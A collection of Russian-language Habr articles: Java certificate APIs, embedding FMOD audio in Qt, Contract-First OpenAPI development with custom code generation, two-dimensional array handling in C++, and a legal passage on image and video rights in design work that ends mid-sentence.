`CertPath`. `CertPath` — это цепочка сертификатов, где каждый сертификат подписан следующим сертификатом в данной цепочке. ### Создание экземпляра CertificateFactory Прежде чем вы сможете создавать экземпляры `Certificate`, вы должны создать экземпляр `CertificateFactory`. Пример: ``` CertificateFactory certificateFactory = CertificateFactory.getInstance("X.509"); ``` В этом примере создается экземпляр `CertificateFactory`, способный создавать экземпляры сертификата X.509 (`X509Certificate` — подкласс `Certificate`). ### Создание экземпляра Certificate Создав экземпляр `CertificateFactory`, вы можете начать создавать экземпляры `Certificate`. Это делается с помощью вызова метода `generateCertificate()`. Пример вызова метода`generateCertificate()`: ``` InputStream certificateInputStream = new FileInputStream("my-x509-certificate.crt"); Certificate certificate = certificateFactory.generateCertificate(certificateInputStream); ``` ### Создание экземпляра CertPath `CertificateFactory` также может создавать экземпляр `CertPath`. Экземпляр `CertPath` создается вызовом метода `generateCertPath()`: ``` InputStream certificateInputStream = new FileInputStream("my-x509-certificate-chain.crt"); CertPath certPath = certificateFactory.generateCertPath(certificateInputStream); ``` Java CertPath (Цепочка сертификатов) ------------------------------------ Класс `CertPath` (**java.security.cert.CertPath**) представляет цепочку сертификатов (объекты `Certificate`), где каждый сертификат является цифровым подписывающим лицом следующего сертификата в цепочке. Класс `CertPath` обычно используется для проверки сертификата личности вместе с сертификатами центров сертификации (ЦС), которые подписали сертификат. ### Получение экземпляра CertPath Обычно экземпляр `CertPath` получают из фабрики сертификатов (`CertificateFactory или CertPathBuilder`). #### getCertificates() Получив экземпляр `CertPath`, вы можете получить экземпляры `Certificate`, из которых состоит `CertPath`, вызвав метод `getCertificates()`. Вот пример получения сертификатов из экземпляра `CertPath`: ``` List certificates = certPath.getCertificates(); ``` #### getType() Метод `getType()` возвращает строку, указывающую, какой тип сертификатов (например, X.509) содержится в этом экземпляре `CertPath`. Вот пример получения типа `CertPath` через методом `getType()`: ``` String type = certPath.getType(); ```
https://habr.com/ru/post/446888/
null
ru
null
# Встраиваем качественный звук в Qt приложение (Qt + FMOD) Помню время, когда я обрадовался мультимедийным возможностям Qt… phonon хорош, это да. Но помню и время разочарования: слишком мало всего умеет этот самый phonon. Как минимум, он не умеет воспроизводить два звука одновременно. Да и интерфейсы у него хромают… Как бы то ни было, а начал я искать что-то получше, причём кроссплатформенное. После пары неудачных находок, я наткнулся на [FMOD Library](http://fmod.org). Не смотря на отсутствие исходного кода, это бесплатная (для некоммерческого использования) кроссплатформенная библиотека. Список возможностей огромен: это тебе и микшер, и low-latency DSP (включая даже pitch shifter), и чтение целой кучи форматов (mp3, wav, ogg, aiff, MIDI и т.д.), и звукогенерация, и запись звука, и поддержка многоканального звука (например, 5.1), и то, и это, и пятое, и десятое… в общем, функционал. И интерфейс есть как для C, так и для C++. А кроме того, большой плюс — малый вес самой библиотеки (под виндой всего ~370 кило). Итак, приступим. Я делал под виндой, но в других системах будет примерно то же самое. Скачал я их API для разработчиков, скинул fmodex.dll и папки inc и lib в папку FMOD в своём проекте. Выбрал, что буду использовать C++-интерфейсы, подключил #include , и далее делаю так: 1. в классе своего окна объявляю переменную FMOD::System \* system; 2. в конструкторе класса инициализирую: > `1. FMOD::System\_Create(&system); > 2. system->init(32 /\*maximum number of channels\*/, FMOD\_INIT\_NORMAL, 0); > \* This source code was highlighted with Source Code Highlighter.` 3. создаю звук: > `1. // sound > 2. FMOD::Sound \* sound; > 3. // sound channel > 4. FMOD::Channel \* channel; > 5. // creating sound > 6. system->system->createSound("mysound.mp3", FMOD\_SOFTWARE | FMOD\_LOOP\_OFF, 0, &sound); > 7. // playing sound (assigning it to a channel) > 8. system->playSound(1 /\*channel #1\*/, sound, true /\*start paused\*/, &channel); > 9. // actually play sound > 10. channel->setPaused(false); > \* This source code was highlighted with Source Code Highlighter.` При этом к одной системе можно подключить много звуков (каждый на свой канал), звуки могут быть зациклены (флаг FMOD\_LOOP\_NORMAL). Теперь сборка проекта. К сожалению, C++-интерфейсы в винде доступны только для компилятора Microsoft Visual Studio, а для MinGW доступны только C-интерфейсы. Поэтому проект я собирал с помощью Qt for VS2008. В принципе, C-интерфейсы не сильно отличаются от C++, например, вместо FMOD::System пишем FMOD\_System, а вместо system->init() пишем FMOD\_System\_init(), так что перейти от одного к другому достаточно легко. Чтобы проект собрался, в файле .pro пишем: > `1. INCLUDEPATH += FMOD/inc > 2. LIBS += -LFMOD/lib -lfmodex\_vc > \* This source code was highlighted with Source Code Highlighter.` Из базового набора возможностей стоит отметить FMOD::Channel::setVolume() и setPan() — установка громкости и баланса между каналами (левый — правый). Ещё из плюсов FMOD: документация вполне адекватная, примеры есть почти на все случаи жизни. Чтобы небыть голословным, привожу мою программу, написанную с помощью Qt + FMOD: [DamnSampler](http://code.google.com/p/damnsampler/). Это такой своеобразный музыкальный инструмент — на каждую клавишу клавиатуры вешается звук (или даже несколько), звуки могут быть простыми, а могут быть зацикленными. Исходники прилагаются.
https://habr.com/ru/post/103346/
null
ru
null
# Как улучшить межсерверное взаимодействие и сэкономить время разработчика Привет! Я Алексей, Java-разработчик. Хочу поделиться опытом внедрения подхода Contract-First в backend.  #### Что такое контракт Представим продакшн и три группы участников: мобильное приложение, бэкенд и фронтенд. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/e62/be6/8fc/e62be68fc3c65a8c765c301f24e03e4f.jpg)Кружки на картинке — множество инстансов одного приложения или множество мобильных устройств. Пунктиром показаны HTTP-вызовы. Предположим, два приложения на iOS и Android (зелёные кружки) обращаются к backend (фиолетовые кружки). Это и есть **контракты** — правила, по которым общаются два участника.  Я расскажу, как описывать контракты, проводить новые стрелочки, их согласовывать и не потеряться в потоке изменений в большой микросервисной архитектуре. Наш backend — это 60 разработчиков и 100 микросервисов. Мы поддерживаем внутренние и внешние интеграции и катим 50+ релизов в день, большинство — с изменениями контрактов. Согласование контрактов у нас приобретает повышенный уровень сложности.  #### Code-First: как мы раньше управляли контрактами До 2021 года мы использовали **Code-First**-**подход**. Описание контракта выглядело так: ``` @ApiModel(description = "Информация о пользователе") public class UserInfo { @ApiModelProperty(value = "Уникальный идентификатор пользователя", required = true) @NotNull @JsonProperty("id") private final String id; @ApiModelProperty(value = "Имя") @JsonProperty("firstName") private final String firstName; ... ``` Чтобы реализовать HTTP endpoint, мы описывали в Java-коде модели запросов и ответов. Затем помечали их аннотациями Springfox. Классы моделей, запросов и ответов паковали в JAR, а JAR отгружали в Maven Repository. Для каждого микросервиса заводили библиотеку с набором всех контрактов. Для контракта микросервиса profile была библиотека profile-api, для notifer, notifier-api и так далее. Если одному микросервису нужно было был сходить в другой, он подключал необходимую API-библиотеку к себе в зависимости и использовали её для взаимодействия. Для тех, кто не умеет в Java, у нас был Swagger UI.  ![Code-First Swagger UI](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/ba0/8a4/6a3/ba08a46a328fbb1c1e7db9f7356cf377.jpg "Code-First Swagger UI")Code-First Swagger UIЭто OpenAPI-спецификация, отрендеренная в HTML и сгенерированная по метаданным классов. Так умеет делать Springfox и Springdoc из коробки. Подход достаточно распространен, я часто встречал его в других компаниях.  #### Проблемы разработки с Code-First Если масштабировать Code-First-подход на 100+ сервисов и 60 разработчиков, могут возникнуть проблемы. Давайте их разберём. #### Code-First Jar Hell Представим, что микросервис с именем profile — «коммуникабельный парень». Вот часть его дерева зависимостей на другие API-библиотеки: ``` +--- yoomoney:profile:2.0.0 | +--- yoomoney:notiifer-api:4.0.0 | | \--- yoomoney:command-api-engine:2.10.1 -> 2.13.1 | +--- yoomoney:cards-api:3.2.0 | | \--- yoomoney:command-api-engine:2.13.1 | +--- yoomoney:content-api:1.0.1 | | \--- yoomoney:command-api-engine:2.10.0 -> 2.13.1 | +--- yoomoney:debt-api:2.0.0 | | \--- yoomoney:command-api-engine:2.13.1 | +--- yoomoney:identifier-api:4.2.0 | | \--- yoomoney:command-api-engine:2.13.1 .... ``` Допустим, мы выпустили новую мажорную версию библиотеки yoomoney:command-api-engine:3.0.0, подключили её в yoomoney:identifier-api:5.0.0 и хотим использовать новое identifier-api в сервисе profile. Наше новое дерево зависимостей микросервиса profile теперь выглядит так: ``` +--- yoomoney:profile:2.0.0 | +--- yoomoney:notiifer-api:4.0.0 | | \--- yoomoney:command-api-engine:2.10.1 -> 3.0.0 // конфликт мажорных версий | +--- yoomoney:cards-api:3.2.0 | | \--- yoomoney:command-api-engine:2.13.1 -> 3.0.0 // конфликт мажорных версий | +--- yoomoney:content-api:1.0.1 | | \--- yoomoney:command-api-engine:2.10.0 -> 3.0.0 // конфликт мажорных версий | +--- yoomoney:debt-api:2.0.0 | | \--- yoomoney:command-api-engine:2.13.1 -> 3.0.0 // конфликт мажорных версий | +--- yoomoney:identifier-api:5.0.0 | | \--- yoomoney:command-api-engine:3.0.0 .... ``` В одну JVM нельзя одновременно загружать несколько разных версий одного класса c совпадающими именами. Если API-библиотеки транзитивно тянут разные мажорные версии зависимостей, будут проблемы в runtime. Хорошо, если ваш сервис упадёт ещё до запуска. Когда вы захотите подключить новую мажорную версию в API-либу, придётся пройтись по остальным API-библиотекам и сделать то же самое. Зарелизить 100 либ — не самое приятное занятие на вечер пятницы. #### Изменения API-библиотек в Code-First На ревью основное внимание уделяется Java-коду, а не контрактам. В идеале нужно проверить согласованность имён, правильность композиции и т.д. На ревью накидывают комментарии в стиле: забыл сделать builder для сущности, не поставил аннотацию. А то, что endpoint уже есть, но называется по-другому, могут пропустить. Представьте API-библиотеку, в которой 30 endpoint'ов. Разработчик вносит правку в один endpoint или делает новый. На ревью вы не видите общей картины, 29 endpoint'ов ускользнут из поля зрения, из-за этого качество страдает. Следующая проблема — внесение изменений мобильными разработчиками и фронтендерами. Помню тёмные времена, когда мне говорили: «У нас есть команда с информацией о пользователе, надо немного расширить её ответ, а мы нарисуем красивый UI». Мне приносили JSON-файлик или даже табличку на корпоративной Wiki с описанием endpoint'а🤦‍♂️ Согласования контракта с потребителями фактически не было. За пять лет я буквально пару раз видел, чтобы фронт заходил в API-библиотеки и говорил, каким ему хотелось бы видеть контракт.  #### Актуальность Code-First Помните Swagger UI, который генерируется автоматом для фронтов и мобильных разработчиков? Спецификация, которая получается путём генерации из классов, и реальный JSON, который отдаётся из endpoint, не соответствуют друг другу. Они постоянно разъезжаются, потому что правило преобразования Java-объекта в JSON описывается обычно в Jackson Config, а правило формирования OpenAPI-спецификации — в Docket Config. Swagger UI, который генерируется автоматом по метаданным классов, показывает очень примерное описание того, что у нас реально отдаётся из API. Поэтому фронты и мобильные разработчики не могут начать разработку, не вызвав endpoint на живую. #### С чего мы начали внедрять Contract-First Из-за проблем с Code-First мы решили писать OpenAPI-спецификации руками. Такой подход называют **Contract-First** или **Design-First**.  Мы начали с описания гайдов, как делать API, чтобы одну задачу сотрудники не решали дважды и чтобы API было написано в едином стиле. HTTP-стандарт достаточно широкий, одну задачу можно сделать несколькими способами. Гайды покрывают всё — от нейминга до того, как делать пагинацию, кеширование, отдавать ошибки, чтобы сервисы работали одинаково. [Пример такого гайда](https://jsonAPI.org). #### Процессы и правила в Contract-First Далее мы закрепили «новые правила игры» — рассказали разработчикам, где хранить OpenAPI-спецификации, как их релизить и ревьюить. Это не про технику, а про процессы — как жить в новой парадигме.  Мы договорились, что для каждого микросервиса заводим Git-репозиторий со спецификацией. Перед началом разработки пишем спеку. Обозначили, что такое мажорное изменение. Например, была команда, отдающая профиль пользователя с полем Gender Enum с двумя значениями. Мы внезапно решили добавить третье значение. Вопрос: сломается клиент или нет? Есть много таких corner case, которые надо проговорить до начала разработки. Так вы сможете определиться, какие изменения контракта ломают обратную совместимость, а какие допустимы без предварительного релиза клиентов. #### Contract-First: первые результаты Мы завели по одному Git-репозиторию со спецификацией на микросервис. После введения Code-First репозиторий выглядит так:  ``` . ├── README.md (Описание сервиса) ├── index.html (swagger-ui) └── specification    └── card-specification.yaml (OpenApi 3) ``` В микросервисной архитектуре неизбежно возникают общие сущности. Например, у нас в коде есть сущность «число с валютой» MonetaryAmount. В спеке для микросервисов платежей, переводов, истории и так далее будет MonetaryAmount. Гайды о том, как делать API, описывали общие правила. Например, если клиент забывает отправить обязательное поле, нужно отдать 400-ую ошибку, общую для всех микросервисов. Но так как спецификации не связаны, придётся копировать кусок спецификации, описывающий тело 400-й ошибки от одного репозитория со спецификацией к другому.  YAML-файл со спецификацией 30-40 endpoint’ов одного микросервиса занимает 7000 строк. Это большой файл, с которым тяжело работать. Если вы нечаянно поставите пробел в середине, документ станет невалидным. Если вы внесёте много изменений в одном pull-request, Bitbucket, Gitlab или Github, в UI вряд ли покажет diff такого файла. Раньше была проблема между двумя конфигурациями, которые разъезжались (Jackson и Docket). Сейчас есть спека и её реализация, но никто не гарантирует их согласованность. Мы начали разрабатывать API-библиотеки, просто переписывая в код то, что написали в спецификации, допуская банальные ошибки из-за невнимательности. Кажется, стало только хуже.  #### Зачем в Contract-First прикручивать CI/CD Первое, что мы делаем, — прикручиваем CI к API-спецификациям. Будем относиться к спекам как к любым другим артефактам. Мы вводим Gitflow, собираем спеки на CI, прикручиваем линтер, начинаем версионировать спецификации по semver. Далее заводим два репозитория в нашем Nexus для собранных спецификаций: один snapshot-ный для сборок фича веток, другой — релизный для сборок с мастера.  Важный момент: мы сделали свой линтер. Раньше проверяли спеки на соответствие гайдам глазами, на ревью. Теперь валидность спеки гарантируется линтером на CI. Для объектов, подобных MonetaryAmount, которые мы копируем от спеки к спеке, заводим библиотеку типов. Это репозиторий со спецификациями, он публикуется в Nexus. Там описаны общие типы, которые используются в других спецификациях, чтобы исключить дублирование. Надо обязательно сделать версионирование, так как библиотека типов может меняться и расширяться. Вопрос с файлами размером в 7000 строк решился просто. Определяем для каждого endpoint'а тег, endpoint'ы с одинаковыми тегами выносим в отдельный файл. Размер спецификаций существенно уменьшился. Пример корневого файла со всеми командами сервиса: ``` cat ./card-specification.yaml ... paths: /cards/issue: $ref: 'issue.yaml#/paths/~1cards~1issue' /cards/info: $ref: 'info.yaml#/paths/~1cards~1info’ /cards/close: $ref: 'manage.yaml#/paths/~1cards~1close' ... ``` #### Сборка файлов в Contract-First Мы разобрали файл спецификации на несколько маленьких для удобства редактирования, но возникла потребность собрать его обратно в один большой. Например, мы сделали API для контрагента, нам хочется отдать ему спецификацию этого API. Разбитую по частям спецификацию нельзя открыть вне наших сетей, потому что у контрагента нет доступа к Nexus, и он не может подгрузить библиотеку типов. Спецификация разбита на множество файлов: половина на локальной файловой системе, половину надо забирать по HTTP. Нам надо собрать спецификацию обратно. В OpenAPI Tools есть swagger-cli bundle — утилита, позволяющая собрать несколько спецификаций в одну. Минус в том, что она искажает имена схем. Мы хотели, чтобы собранные спецификации не отличались от тех, которые мы писали руками до разделения. Для этого мы запилили маленький инструмент [OpenApi bundler](https://github.com/yoomoney/openapi-bundler). Итак, мы научились описывать контракты. Фронтендеры и мобильные разработчики приходят к нам с предложениями по изменениям, и ревью стало эффективнее. Теперь они приносят не JSON-файлы, а pull request. Аналитики могут создавать драфт спецификации. У нас есть линтер, который следит, чтобы API было в одном стиле.  #### Как кодогенерация помогает в Contract-First У нас не было согласованности между спецификациями и реализацией. Решением оказалась кодогенерация. Из спецификаций мы генерим код и не даём править его руками. В OpenAPI Tools есть [популярный кодогенератор](https://github.com/OpenAPITools/openapi-generator) с оценкой 11к звёзд. У него 150 конфигураций, чтобы генерить по спеке артефакты на разных языках и фреймворках, в том числе несколько вариантов Java-кода. За время подхода Code-First у нас сформировались требования к транспортным классам запросов и ответов. Например, мы хотели иметь Builder на все объекты, участвующие в транспорте, не падать при десериализации неизвестных Enum, не логировать чувствительные данные (номера карт и телефонов) — их надо маскировать. Мы хотели управлять тем кодом, который генерируется. Если завтра разработчики [OpenAPI generator](https://github.com/OpenAPITools/openapi-generator) решат перейти с Jackson на Gson, мы не хотим в этом участвовать. Мы решили написать 151-ый вариант конфигурации для генератора. Оказалось, это не суперсложно. Разберём, как работает кодогенерация. Есть [«батя-генератор»](https://github.com/OpenAPITools/openapi-generator/blob/v5.3.1/modules/openapi-generator/src/main/java/org/openapitools/codegen/DefaultGenerator.java), который умеет генерировать код согласно указанной конфигурации. Первое, что происходит в генерации — десериализация OpenAPI-спецификации в Java-объекты с помощью библиотеки [Swagger Parser](https://github.com/swagger-api/swagger-parser). Из файлов JSON или YAML получаются Java-объекты, с которыми можно работать. Затем включается указанная нами конфигурация и преобразует OpenAPI-объекты во внутренние модели генератора.  На этом этапе, написав свою конфигурацию, мы можем сами сказать, каким образом схема OpenAPI преобразуется во внутренние сущности генератора. Например, из двух схем мы можем сделать одну модель или из одной схемы — несколько моделей, поменять им имена и т.д. Третий этап – рендеринг внутренних моделей генератора в Java-файлы, используя [шаблоны mustache](https://github.com/OpenAPITools/openapi-generator/tree/v5.3.1/modules/openapi-generator/src/main/resources/Java). #### Что такое собственный генератор кода Генератор — это не только правила трансформации OpenAPI-спецификаций плюс mustache-шаблоны. Это ещё и правила, по которым нужно писать спецификации так, чтобы код сгенерился. Вы знаете, что в get-запросах в Query-параметрах можно передавать массивы? OpenAPI поддерживает четыре разных формата, чтобы это сделать. В OpenAPI есть конструкции allOf, oneOf, anyOf. Используя их, можно завязать модель узлом так, что десериализовать JSON этой модель в Java-объект будет просто нельзя. Это не ложится на объектную модель. Правда ли нужен генератор, который это всё умеет? На самом деле уже есть суперобщий генератор для всех кейсов из коробки OpenApi. К коду, который он генерирует, возникают вопросы. Ребята, которые пилят его, решают сложную задачу: им нужно генерить код по абсолютно любой OpenAPI-спецификации. Такую задачу сложно решать с точки зрения кодогенерации, поэтому надо срезать углы и выкидывать то, что не нужно.  Выигрышное решение — линтер и генератор, которые образуют отличный тандем. Сначала стоит линтер, который проверяет спеки по правилам, подходящим для генератора. Потом в дело вступает генератор, умеющий генерировать хороший код по валидным для него спецификациям. #### Зачем писать gradle-плагин для генерации Следующая задача — доставить сгенерированный код до backend-приложений. Так как проблема Jar Hell рождалась из лишнего артефакта в виде API-библиотеки, было принято решение генерировать код по спецификациям в репозиторий микросервера перед компиляцией его кода. Мы решили написать gradle-плагин для этого. У нас большой опыт работы с ними: весь CI/CD построен на них, сделать ещё один было несложно.  Перед компиляцией Java-кода плагин локально выкачивает спеку, собранную бандлером, и вызывает генератор, чтобы сгенерировать код в указанную папку, находящуюся в .gitignore. Под капотом нашего плагина — [плагин от OpenAPITools](https://github.com/OpenAPITools/openapi-generator/tree/master/modules/openapi-generator-gradle-plugin). Мы адаптировали его, научив работать с несколькими спецификациями.  Наш генератор — парень простой. Мы скормили ему здоровенную спеку, он сгенерил код со всеми моделями, которые есть в спеке. Если в каждой спеке есть MonetoryAmount, он сгенерит *N* MonetoryAmount. Это лечится опцией import-mappings. Генератор можно научить не генерировать модель, а использовать те, что уже есть. Мы у себя в спецификациях добавили расширения x-java-import-mapping, перед генерацией кода они собираются со спецификации и передаются генератору. Вот пример библиотеки типов. Описана схема номера телефона с указанием вместо генерации кода использовать класс PhoneNumber из библиотеки domain:phone: ``` cat ./type-library.yaml components: schemas: PhoneNumber: description: Номер телефона в формате ITU-T E.164 type: string pattern: '[0-9]{4,15}' example: '79000000000' x-sensitive: true x-java-import-mapping: ru.yoomoney.model.domain.phone.PhoneNumber x-java-dependency: ru.yoomoney.domain:phone ``` #### Результаты внедрения Contract-First * Появилось достоверное описание, как работает продакшн. * Благодаря связке из линтера и генератора есть уверенность, что соблюдается правило гайдов во всём API и Java-коде. * Больше не нужно писать Java API-объекты руками для новых контрактов. ![Вау-эффект подхода Contract-First: у вас на самом деле не один геренатор, а целых четыре](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/d86/ea9/880/d86ea9880af3d2fcb6b8d98fe91ecc60.jpg "Вау-эффект подхода Contract-First: у вас на самом деле не один геренатор, а целых четыре")Вау-эффект подхода Contract-First: у вас на самом деле не один геренатор, а целых четыреУ нас не один генератор, а целых четыре. Мы умеем из OpenAPI-спецификаций генерить не только код в Java, но ещё и в TypeScript, Swift и Kotlin. #### Резюме по Contract-First-подходу Если вы решите повторить наш подход, рекомендую: * Начните с создания гайдов и конвенций. Опишите, как будет выглядеть ваше API. * Внедряйте Contract-First постепенно. * Отнеситесь к спецификациям внимательно — как к любому другому артефакту. Всё будет построено вокруг них: CI/CD, линтер, сборка, отгрузка в долгосрочное хранилище. * Напишите свой генератор. Это несложный инструмент, который окупится многократно. Если каждый из 60 backend-разработчиков за двухнедельный спринт хотя бы день потратит на написание API-библиотек для Code-First, это 12 человеко-недель за спринт. Если одного разработчика запереть в комнате и сказать: «Парень, вот генератор из OpenAPI Tools, спеки и пример кода. Собери по примеру генератор Java, чтобы он генерил то, что нужно». За две-четыре недели он это сделает, если не забывать его кормить. Собственный генератор даёт гибкость в управлении кодом, что отличает его от soap, где то, что вы получаете, прибито гвоздями. Если вы захотите перейти с Jackson на GSON — без проблем: допишите генератор. Захотите перейти с RestTemplate на WebClient в части микросервисов, добавьте одну настройку в генератор. Пусть одним сервисом генерируются клиенты с синхронными API, а другим — с асинхронным.  В завершение оставлю ссылку на [наш гитхаб-аккаунт](https://github.com/yoomoney). Заходите посмотреть крутые шутки, которые мы юзаем в продакшн. Если есть вопросы, не стесняйтесь задавать их в комментариях.
https://habr.com/ru/post/647441/
null
ru
null
# Демонстративно вертим массивы для новичков Массив — структура, стоявшая у истоков программирования. Но, несмотря на то, что массивам уделяется внимание в каждом курсе уроков по любому языку программирования, от новичков все равно ускользает много важной информации, связанной с логикой взаимодействия с этой структурой. Цель этого поста — собрать некоторую информацию о массивах, которой когда-то не хватало мне. Пост для новичков. Что такое массив? ----------------- **Массив - это структура однотипных данных, расположенная в памяти одним неразрывным блоком.** ![Расположение одномерного массива в памяти](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/a66/da9/732/a66da97324de1e32c6a751d6ee945ce9.jpg "Расположение одномерного массива в памяти")Расположение одномерного массива в памятиМногомерные массивы хранятся точно также. ![Расположение двухмерного массива в памяти](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/757/ab3/ecd/757ab3ecdf66ceb92c95fc0599a0adde.jpg "Расположение двухмерного массива в памяти")Расположение двухмерного массива в памятиЗнание этого позволяет нам по-другому обращаться к элементам массива. Например, у нас есть двухмерный массив из 9 элементов 3х3. Так что есть, как минимум два способа вывести его правильно: 1-й вариант (Самый простой): ``` int arr[3][3] {1, 2, 3, 4, 5, 6, 7, 8, 9}; int y = 3, x = 3; for (int i = 0; i < y, ++i) { for (int j = 0; j < x; ++j) { std::cout << arr[i][j]; } std::cout << std::endl; } ``` 2-й вариант (Посложнее): ``` int arr [9] {1,2,3,4,5,6,7,8,9}; int x = 3, y = 3; for (int i = 0; i < y; ++i) { for (int j = 0; j < x; ++j) { std::cout << arr[x * i + j]; // x - ширина массива } std::cout << std::endl; } ``` Формула для обращения к элементу 2-размерного массива, где width - ширина массива, col - нужный нам столбец, а row - нужная нам строчка: ![arr[width * col + row]](https://habrastorage.org/getpro/habr/upload_files/348/91d/59a/34891d59aa5f5914f814acabcd419025.svg)Зная второй вариант, необязательно пользоваться им постоянно, но все же знать стоит. Например, он может быть полезен, когда нужно избавиться ~~от лишних звездочек~~ от указателей на указатели на указатели. А вот так можно работать с трехмерным массивом ``` int arr[8] {1,2,3,4,5,6,7,8}; int x = 2, y = 2, z = 2; for (int i = 0; i < x; ++i) { for (int j = 0; j < y; ++j) { for (int k = 0; k < z; ++z) { std::cout << arr[x * y * i + y * j + k]; } std::cout << std::endl; } std::cout << std::endl; } ``` Этим способом можно обходить трехмерные объекты, например. Формула доступа к элементам в трехмерном массиве, где height - высота массива, width - ширина массива, depth - глубина элемента(наше новое пространство), col - столбец элемента, а row - строка элемента: ![arr[height * width * depth + width * col + row]](https://habrastorage.org/getpro/habr/upload_files/e6a/ab5/043/e6aab5043553f0f4d2c7316d93a4f00a.svg)Для получения доступа к элементам массива большей размерности по аналогии в формулу добавляем новые пространства. Алгоритмы обработки массивов ---------------------------- Я не буду здесь писать про алгоритмы сортировки и алгоритмы поиска, так как найти код для почти любого из этих алгоритмов не составит труда. Изображения - это целый комплекс из разных заголовков и информации о изображении, и самого изображения хранящемся в виде двухмерного массива. Обработка изображений хорошо научит работать с двумерными массивами. Вот некоторые алгоритмы, которые пригодились мне для обработки изображений: 1) Зеркальное отражение. Для того чтобы перевернуть изображение по горизонтали нужно всего лишь читать массив, в котором оно содержится сверху вниз и справа налево. ``` int data[3][4] = {1,2,3,4,5,6,7,8,9,10,11,12}; int newArray[3][4]; int height = 3, width = 4; for (int i = 0; i < height; ++i) { for (int j = 0; j < width; ++j) { newArray[i][j] = data[i][width - j - 1]; } } ``` По такому же принципу выполняется переворот изображения по вертикали. ``` int data[3][4] = {1,2,3,4,5,6,7,8,9,10,11,12}; int newArray[3][4]; int height = 3, width = 4; for (int i = 0; i < height; ++i) { for (int j = 0; j < width; ++j) { newArray[i][j] = data[height - i - 1][j]; } } ``` 2) Поворот изображения на 90 градусов. Для поворота изображения нужно повернуть сам двухмерный массив, а чтобы повернуть массив нужно транспонировать двухмерный массив, а затем зеркально отразить по горизонтали. ![Пошаговое выполнение алгоритма](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/c5b/319/43f/c5b31943f2294c8ebc4450e391dcd5f3.jpg "Пошаговое выполнение алгоритма")Пошаговое выполнение алгоритмаТакой алгоритм появился, когда я нарисовал график координат c точками. ![График, приведший к решению](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/401/e33/956/401e339560ac7e68314df32abf3bdbb5.jpg "График, приведший к решению")График, приведший к решению ``` int data[3][2] = {1,2,3,4,5,6}; int newArray[2][3]; int height = 3, width = 2; // Размеры массива (изображения) int newHeight = width, newWidth = height; // Транспонируем матрицу for (int i = 0; i < newHeight; ++i) { for (int j = 0; j < newWidth; ++j) { newArray[i][j] = data[j][i]; // data - массив изображения } } // Зеркально отражаем по горизонтали матрицу for (int i = 0; i < newHeight; ++i) { for (int j = 0; j < newWidth/2; ++j) { int temp = newArray[i][j]; newArray[i][j] = newArray[i][newWidth - j - 1]; newArray[i][newWidth - j - 1] = temp; } } ``` Хочу обратить ваше внимание, что здесь я применяю другой способ переворота изображения. Вместо выделения памяти под новый массив, здесь просто меняем местами первые и последние элементы. **Примечание: создать массив размерностью высоты и ширины реального изображения на стеке не выйдет. Только на куче с помощью оператора new.** Заключение ---------- Этот небольшой пост не претендует на невероятные открытия мира информатики, но надеюсь успешно поможет немного вникнуть в устройство массивов падаванам мира IT. Как я сказал в начале, здесь я собрал частичку того, чего не хватало мне при изучении программирования. Как бы эти вещи не казались бесполезными, все студенты университетов, изучающие информационные технологии проходят через это, и не напрасно — это помогает развивать логику и решать более сложные задачи, которые ждут далее. Приведенные выше примеры показывают некоторые важные способы взаимодействия с массивами. Я надеюсь этот пост будет полезен, и если это будет так, то я напишу продолжение этой темы.
https://habr.com/ru/post/538178/
null
ru
null
# Зачем дизайнеру юрист или как не получить административный штраф за видео или стоковое фото на своем сайте > Как-то раз мне прислали на согласование макет . Макет предназначался для размещения на сайте интернет-магазина, а также в торговых залах. На макете изображена девушка, слоган заказчика и его рекламные предложения. Спрашиваю дизайнера - пришлите договор с девушкой, которая позировала для этого фото. Нужно проверить ее согласие на то, что мы ее лицо по всей стране разместим на билбордах. В ответ дизайнер сообщает, что с девушкой на фото никакого договора не было, она ее вообще не знает т. к. фото девушки она скачала в интернете. На каких условиях и с какого сайта, объяснить не может - просто нашла в гугле картинку, скачала, обработала и все. Молодец. > > По закону использовать изображение человека можно только по его письменному согласию и определенным в согласии образом ([это написано в статье 152.1 Гражданского кодекса](http://www.consultant.ru/document/cons_doc_LAW_5142/14c6c3902cffa17ab26d330b2fd4fae28e5cd059/)). Фотостудии, например, именно для этого берут у заказчиков согласие в договорах на использование фотографий в портфолио, потому, что без согласия - такое использование будет незаконным. Но это по общему правилу, есть и исключения. Например, без согласия можно использовать фото или видео изображения человека, которому заплатили за позирование. Не требуется согласия если гражданин является публичной фигурой, государственным деятелем, известным политиком, или если изображение человека сделано в "массовке" в общественных местах и местах открытых для свободного посещения. > Через некоторое время присылает дизайнер новый макет с изображением уже другой девушки и сообщает, что фото скачано с сайта "стоковых" изображений, но они купили лицензию у сайта и теперь все законно. Очень хорошо, значит учатся. Прошу прислать договор с сайтом. Присылают - читаю, договор на одном листе, в котором никакой конкретики, только сумма за некую "стандартную" лицензию и ссылка на условия использования на отдельном сайте. Они их не читали. Не поленился прочитать условия на сайте, что входит в эту "стандартную" лицензию, читаю, так и есть - лицензия без ограничения для некоммерческого использования или, а для вот коммерческого только в наружной рекламе на аудиторию не более 500 000 человек. Перезваниваю дизайнеру, спрашиваю, где планируете это использовать и узнаю, что реклама будет размещаться на билбордах в Москве и Санкт-Петербурге, а также выйдет рекламой на телевидении. Уточнил у дизайнера читала ли она условия использования лицензии - не читала (а что надо было?). Макет рекламы не согласовал т. к. для такого объема нужно покупать расширенную лицензию и есть риски получить иск о запрете использования изображений и демонтаже уже размещенных рекламных конструкций. > > Если человек обнародовал свою фотографию или видео в сети Интернет, то это также не дает право использовать это фото без его согласия. > С фото понятно, а если я хочу видео снять и разместить на сайте или в блоге? > > Если Вы решили снять видео (фильм, рекламный ролик,) с музыкальным сопровождением и сюжетом помимо договора с актером(ами), нужно оформить с ними договор о предоставлении Вам прав на результаты творческого труда, которых Вы намерены использовать в фильме - с автором музыки, которая используется в ролике, с автором сценария и режиссером - при создании видео, или как его называет закон - аудиовизуального произведения и т. д. [Интересующиеся могут почитать статью 1263 Гражданского кодекса](http://www.consultant.ru/document/cons_doc_LAW_64629/bcdb3bad76a5cc627f036c9e23135e25579d3635/). **Правда у этого правила тоже есть исключение -** есть такие произведения, которые считаются "народным достоянием" и их можно использовать без получения согласия автора или его наследников. Но для того, чтобы произведение стало общественным достоянием нужно, чтобы прошло 